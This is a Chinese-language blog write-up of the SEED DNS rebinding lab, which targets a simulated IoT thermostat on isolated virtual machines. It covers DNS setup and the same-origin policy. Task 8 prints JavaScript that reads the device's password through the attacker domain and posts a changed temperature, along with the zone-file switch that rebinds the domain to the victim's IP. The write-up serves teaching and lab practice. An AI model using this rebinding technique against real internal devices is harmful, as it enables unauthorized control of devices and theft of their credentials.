DNS Rebinding Attack lab
Overview
对于DNS服务器在日常生活中具体是怎么发生作用的过程更加熟悉,同时了解对于一个内部网络的服务器/主机来说,如何进行DNS重绑定攻击,并且有什么样的应对策略,以及为什么会出产生这样的漏洞
参考链接:https://bbs.pediy.com/thread-230047.htm#msg_header_h1_1
Setup
task 1:配置用户主机
- 修改对应的DNS缓存在Firefox浏览器中的TTL到10s
- 之后修改对应的/etc/hosts文件,在其中添加www.seedIoT32.com对应的IP地址,在这里就是User主机的IP地址10.0.2.4
- 设置本地服务器,和前两个实验一样
- 测试,用dig命令来获取百度的web服务器的IP地址,通过wireshark抓包来证明
可以看到对应的DNS服务器的IP地址是10.0.2.5,测试通过
task 2:在User虚拟机上面开启物联网服务器
按照教程里的进行即可,screenshot如下:
task 3:在attacker虚拟机上面开启attack web服务器
攻击原理
A typical way to get our malicious code onto the User VM is to get the user to visit our website, so the JavaScript code placed on our web pages can get into the User VM. In this task, we will start a web server to host such web pages
按照教程弄好之后访问对应URL
task 4:在attacker虚拟机上面配置DNS服务器
依旧是按照教程来,最后进行测试
上面的内容是和文件中一样的
task 5:配置本地DNS服务器
让其他的DNS服务器可以看到刚刚配置的attacker32.com域的DNS服务器
In order for others to find this nameserver, we need to register our nameserver with the .com nameserver, so an NS record is added to its database. Without this step, DNS requests from others will not be able to reach our nameserver
在这里,我们通过设置本地服务器上面attacker32.com的转发记录来实现,而不是通过查询root服务器,进而迭代查询
之后在用户主机上面dig进行测试,测试通过
launch the attack on IoT device
task 6:理解同源策略保护
参考blog:一文了解同源策略细节
点击第二个网页上面的按钮,即: http://www.seedIoT32.com:8080/change
上面的click按钮,此时温度计显示为99摄氏度,而当我们点击第三个连接上面的按钮的时候,即http://www.attacker32.com:8080/change
上面的click按钮,此时温度计显示温度不发生改变
对比两个不同URL上面的Web Console
http://www.seedIoT32.com:8080/change
http://www.attacker32.com:8080/change
同源策略的描述
就是只有Js脚本和Html模块必须在同一个源下,Js脚本才能读取或处理Html模块。如果Js脚本在另一个源,如域名www.hack.com,则这个Js脚本不能读取别域名下如www.chaoshi.com的Html模块>
task 7:击败同源保护策略
修改对应的js文件
之后重启web服务器,可以看到已经没有错误消息了
解释:分析对应的js文件,此时是从www.attacker32.com
来读取对应的html元素,并且进行修改,此时并不会访问www.seedIoT32.com:8080
的温度计,所以这时候是同源访问,进而不会显示同源错误
可以看到此时温度计温度已经改为了99摄氏度
task 8:执行攻击
修改对应的js文件
let url_prefix = 'http://www.attacker32.com:8080'
function updateTemperature() {
$.get(url_prefix + '/password', function(data) {
$.post(url_prefix + '/temperature?value=88'
+ '&password='+ data.password,
function(data) {
console.debug('Got a response from the server!');
});
});
}
button = document.getElementById("change");
button.addEventListener("click", updateTemperature);
之后和上面一样,先在.zone区域中www.attacker32.com
对应10.0.2.7(attacker VM)的时候先访问对应的网页,之后修改.zone文件,让www.attacker32.com
对应用户的IP地址,之后就可以修改温度计示数
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!